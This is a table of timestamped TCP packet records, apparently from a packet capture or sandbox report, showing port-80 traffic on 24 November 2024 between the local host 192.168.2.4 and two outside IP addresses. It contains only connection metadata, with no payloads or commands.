Nov 24, 2024 12:24:27.120070934 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.120598078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.120793104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.121481895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.121536970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.121579885 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.121706963 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.122379065 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.122461081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.123054981 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.123262882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.123379946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.124099970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.124146938 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.124176025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.124598026 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.125044107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.125144005 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.125835896 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.125910044 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.125948906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.126848936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.126971006 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.127013922 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.127635956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.127741098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.128496885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.128499031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.128515005 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.129396915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.129446030 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.129451990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.130237103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.130279064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.130441904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.131123066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.131242037 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.131273031 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.131309032 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.132072926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.132209063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.132574081 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.132865906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.132920027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.133763075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.133806944 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.133831024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.134567022 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.134644985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.134741068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.134793997 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.135564089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.135754108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.135796070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.136395931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.136517048 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.137309074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.137335062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.137377977 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.138211966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.138309002 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.138370991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.139019012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.139137983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.139178038 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.139911890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.140027046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.140068054 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.141484022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.141597033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.141987085 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.142509937 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.142752886 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.142811060 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.144017935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.144088030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.144753933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.144797087 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.144908905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.145097971 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.145457029 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.163800001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.164063931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.164302111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.164365053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.164405107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.164499998 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.165402889 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.165533066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.166268110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.166481972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.166532993 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.166816950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.166874886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.166944027 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.167103052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.167979002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.168077946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.168137074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.168242931 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.169539928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.169559002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.169636011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.170177937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.170224905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.170289040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.170473099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.171247005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.171293974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.171333075 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.171514034 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.172369957 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.172430038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.172447920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.172643900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.173523903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.173615932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.173662901 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.174540043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.174593925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.174659014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.174761057 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.175679922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.175751925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.175784111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.175821066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.176795959 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.176843882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.176892996 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.176947117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.177897930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.177942038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.178004980 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.178536892 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.178998947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.179050922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.179100990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.179137945 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.180145979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.180190086 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.180254936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.180439949 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.181226015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.181268930 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.181328058 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.181364059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.182305098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.182441950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.182488918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.183417082 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.183473110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.183501959 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.183619022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.184540987 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.184642076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.184669018 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.184756994 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.185620070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.185667038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.185724020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.185770988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.186723948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.186763048 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.186827898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.187073946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.187851906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.187891960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.188011885 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.188047886 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.188981056 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.189033031 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.189060926 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.189138889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.190077066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.190123081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.190165997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.190264940 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.191188097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.191246033 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.191287994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.191329956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.192276001 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.192313910 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.192336082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.192351103 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.193388939 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.193433046 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.193454981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.193586111 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.194013119 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.194478035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.194538116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.194652081 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.194736004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.195575953 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.195679903 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.195717096 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.195734024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.196700096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.196743011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.196810007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.196883917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.197784901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.197834015 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.197865963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.198059082 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.198904991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.198949099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.199028015 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.199073076 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.200054884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.200098038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.200181961 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.200608969 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.201348066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.201428890 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.201466084 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.202231884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.202312946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.202383995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.202425003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.203352928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.203423023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.203449965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.203491926 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.204431057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.204524040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.204541922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.204561949 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.205538034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.205588102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.205648899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.205739975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.206629992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.206682920 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.206732035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.206773043 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.207722902 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.207775116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.207818985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.207904100 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.208867073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.208911896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.208952904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.209013939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.209969044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.210072041 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.210094929 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.210108042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.210803986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.210840940 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.210958958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.210997105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.211916924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.211996078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.212167025 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.212212086 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.213185072 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.213197947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.213263035 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.214126110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.214174032 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.214231014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.214277029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.215226889 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.215276003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.215300083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.215337992 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.216327906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.216368914 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.216429949 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.216536999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.217480898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.217535973 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.217571974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.217609882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.218620062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.218667984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.218669891 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.218748093 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.219645023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.219682932 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.219763994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.219801903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.220737934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.220854998 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.220900059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.226634979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.226711988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.226764917 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.227063894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.227161884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.227211952 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.227904081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.227987051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.228101969 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.230695009 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.230711937 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.230752945 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.253449917 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.355642080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.355700016 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.355727911 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.355824947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.355962992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.356009960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.356040955 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.356184959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.357106924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.357193947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.357287884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.357333899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.358269930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.358335018 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.358392954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.358464956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.358993053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.359039068 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.359103918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.359143972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.360096931 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.360142946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.360213995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.360318899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.361191034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.361237049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.361299992 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.361370087 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.362277031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.362324953 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.362411976 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.362488031 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.363420963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.363462925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.363533020 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.363579988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.364515066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.364566088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.364602089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.364720106 CET	49793	80	192.168.2.4	31.41.244.11
